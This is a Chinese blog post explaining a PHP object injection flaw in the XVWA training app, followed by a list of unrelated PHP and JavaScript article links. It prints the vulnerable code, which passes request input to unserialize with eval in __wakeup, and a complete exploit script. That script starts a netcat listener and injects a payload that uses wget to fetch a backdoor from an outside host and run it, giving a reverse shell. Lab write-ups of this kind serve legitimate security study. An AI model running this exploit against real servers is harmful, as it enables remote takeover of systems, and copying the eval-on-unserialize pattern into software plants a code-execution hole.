PHP序列化/对象注入漏洞分析


Posted in PHP onApril 18, 2016

本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell。

如果你想自行测试这个漏洞,你可以通过 XVWA 和 Kevgir 进行操作。

漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化。为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 这里 。它会被动检测PHP和Java序列化的存在。

分析
我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是,序列化对象是从参数“r”取来的:

$var1=unserialize($_REQUEST['r']);
然后再进行反序列化和eval:

eval($this->inject);
接着,执行:

echo "<br/>".$var1[0]." - ".$var1[1];
有了这些,如果我们绕过了参数r的PHP序列化对象,那么就可以获得代码执行漏洞了!

< ?php 
  error_reporting(E_ALL);
  class PHPObjectInjection{
    public $inject;
 
    function __construct(){
 
    }
 
    function __wakeup(){
      if(isset($this->inject)){
        eval($this->inject);
      }
    }
  }
//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";}
  if(isset($_REQUEST['r'])){ 
 
    $var1=unserialize($_REQUEST['r']);
    
 
    if(is_array($var1)){ 
      echo "
".$var1[0]." - ".$var1[1];
    }
  }else{
    echo "parameter is missing";
  }
? >

漏洞利用
为了利用这个漏洞,我们创建了一个简单的PHP脚本来自动生成PHP序列化payload,以及在目标远程主机上运行我们想要的命令。然后,我创建了一个通用的PHP反弹shell,下载地址如下:

http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
注意: 你需要把这个文件传到web服务器上,改动反弹shell脚本里面的本地ip和端口,以及下面的利用代码:

<?php 
/*
PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. 
Shouts to @jstnkndy @yappare for theassist!
NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured
*/
print"==============================================================================\r\n";
print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print"==============================================================================\r\n";
print "[+] Generating serializedpayload...[OK]\r\n";
print "[+] Launching reverselistener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp1234\'');
class PHPObjectInjection
{
  //CHANGE URL/FILENAME TO MATCH YOUR SETUP
 public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";
}
 
$url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER
$url = $url . urlencode(serialize(newPHPObjectInjection));
print "[+] Sendingexploit...[OK]\r\n";
print "[+] Dropping down tointeractive shell...[OK]\r\n";
print"==============================================================================\r\n";
$response =file_get_contents("$url");
 
? >

Demo
现在咱们的利用脚本已经就绪,我们可以执行它来得到远程主机上的反弹shell,用来远程执行命令!

以上就是本文的全部内容,希望对大家学习php程序设计有所帮助。

PHP 相关文章推荐
一个程序下载的管理程序(三)
Oct 09 PHP
BBS(php &amp; mysql)完整版(五)
Oct 09 PHP
解析PHP可变函数的经典用法
Jun 20 PHP
ThinkPHP入库出现两次反斜线转义及数据库类转义的解决方法
Nov 04 PHP
PHP入门教程之自定义函数用法详解(创建,调用,变量,参数,返回值等)
Sep 11 PHP
php自定义函数转换html标签示例
Sep 29 PHP
php使用变量动态创建类的对象用法示例
Feb 06 PHP
PHP+MySQL高并发加锁事务处理问题解决方法
Apr 30 PHP
使用laravel和ECharts实现折线图效果的例子
Oct 09 PHP
使用PHP开发留言板功能
Nov 19 PHP
tp5框架基于ajax实现异步删除图片的方法示例
Feb 10 PHP
Thinkphp 框架扩展之驱动扩展实例分析
Apr 27 PHP
php实现三级级联下拉框
Apr 17 #PHP
PHP加密3DES报错 Call to undefined function: mcrypt_module_open() 如何解决
Apr 17 #PHP
orm获取关联表里的属性值
Apr 17 #PHP
ThinkPHP框架搭建及常见问题(XAMPP安装失败、Apache/MySQL启动失败)
Apr 15 #PHP
php基于jquery的ajax技术传递json数据简单实例
Apr 15 #PHP
PHP6连接SQLServer2005的三部曲
Apr 15 #PHP
php使用pear_smtp发送邮件
Apr 15 #PHP
You might like
php cli 方式 在crotab中运行解决
2010/02/08 PHP
请离开include_once和require_once
2013/07/18 PHP
PHP连接MSSQL2008/2005数据库(SQLSRV)配置实例
2014/10/22 PHP
在WordPress中使用PHP脚本来判断访客来自什么国家
2015/12/10 PHP
人脸识别测颜值、测脸龄、测相似度微信接口
2016/04/07 PHP
使用JQuery和s3captche实现一个水果名字的验证
2009/08/14 Javascript
jQuery1.6 类型判断实现代码
2011/09/01 Javascript
面向对象的Javascript之一(初识Javascript)
2012/01/20 Javascript
jquery全选checkBox功能实现代码(取消全选功能)
2013/12/10 Javascript
innerHTML动态添加html代码和脚本兼容多个浏览器
2014/10/11 Javascript
jQuery实现设置、移除文本框默认值功能
2015/01/13 Javascript
jquery+CSS3模拟Path2.0动画菜单效果代码
2015/08/31 Javascript
详解AngularJS Filter(过滤器)用法
2015/12/28 Javascript
JavaScript 动态三角函数实例详解
2017/01/08 Javascript
微信小程序实现列表页的点赞和取消点赞功能
2018/11/02 Javascript
浅析Proxy可以优化vue的数据监听机制问题及实现思路
2018/11/29 Javascript
如何优雅的在一台vps(云主机)上面部署vue+mongodb+express项目
2019/01/20 Javascript
重学JS之显示强制类型转换详解
2019/06/30 Javascript
vue组件库的在线主题编辑器的实现思路
2020/04/03 Javascript
Python tkinter模块中类继承的三种方式分析
2017/08/08 Python
浅谈Python由__dict__和dir()引发的一些思考
2017/10/30 Python
如何用Python实现简单的Markdown转换器
2018/07/16 Python
详解python 模拟豆瓣登录(豆瓣6.0)
2019/04/18 Python
python+tifffile之tiff文件读写方式
2020/01/13 Python
python pymysql链接数据库查询结果转为Dataframe实例
2020/06/05 Python
PyQt5的QWebEngineView使用示例
2020/10/20 Python
python中remove函数的踩坑记录
2021/01/04 Python
捷克体育用品购物网站:D-sport
2017/12/28 全球购物
联想香港官方网站及网店:Lenovo香港
2018/04/13 全球购物
写给女朋友的道歉信
2014/01/12 职场文书
高中教师先进事迹材料
2014/08/22 职场文书
自愿离婚协议书2015
2015/01/26 职场文书
Opencv中cv2.floodFill算法的使用
2021/06/18 Python
mysql的数据压缩性能对比详情
2021/11/07 MySQL
《勇者辞职不干了》ED主题曲无字幕动画MV公开
2022/04/13 日漫
Python 使用 Frame tkraise() 方法在 Tkinter 应用程序中的Frame之间切换
2022/04/24 Python